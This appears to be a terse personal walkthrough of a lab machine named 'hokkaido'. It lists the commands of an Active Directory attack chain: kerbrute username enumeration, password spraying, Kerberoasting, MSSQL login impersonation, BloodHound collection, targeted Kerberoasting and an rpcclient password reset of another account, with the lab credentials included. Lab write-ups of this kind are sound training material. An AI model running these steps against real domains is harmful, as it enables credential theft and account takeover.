hokkaido.md

Kerbrute

Using kerbrute for bruteforcing usernames:

kerbrute userenum --dc 192.168.212.40 -d hokkaido-aerospace.com /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --downgrade

We get usernames: Now bruteforcing passwords with the usernames: \

Now we can try kerberoasting with this account:

GetUserSPNs.py hokkaido-aerospace.com/info:info -request

We get two hashes but they are uncrackable:

Now checking SYSVOL share for scripts: Now we get a password so spraying it: Now using discovery user we can login to Mssql:

mssqlclient.py -windows-auth -dc-ip 192.168.212.40 hokkaido-aerospace.com/discovery:'Start123!'@192.168.212.40

Now checking for impersonation:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

Now to impersonate:

EXECUTE AS LOGIN = 'hrappdb-reader' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')

Now checking:

SELECT SYSTEM_USER

Now checking databases:

SELECT name FROM master.dbo.sysdatabases

Checking all tables:

SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES;

select * from sysauth;

Now with the creds we can run bloodhound:

nxc ldap 192.168.212.40 -u hrapp-service -p 'Untimed$Runny' --bloodhound --collection All -ns 192.168.212.40

Checking outbound transitive object control we have generic write over hazel. Doing a targeted kerberoast:

targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny'

Only hazel's hash gets cracked.

We belong to Tier2-Admins and we have GenericWrite access over Administrators: But doesn't work for some reason

rpcclient //192.168.94.135 -U hokkaido-aerospace.com/hazel.green%haze1988c

rpcclient $> setuserinfo2 MOLLY.SMITH 23 'Start123!'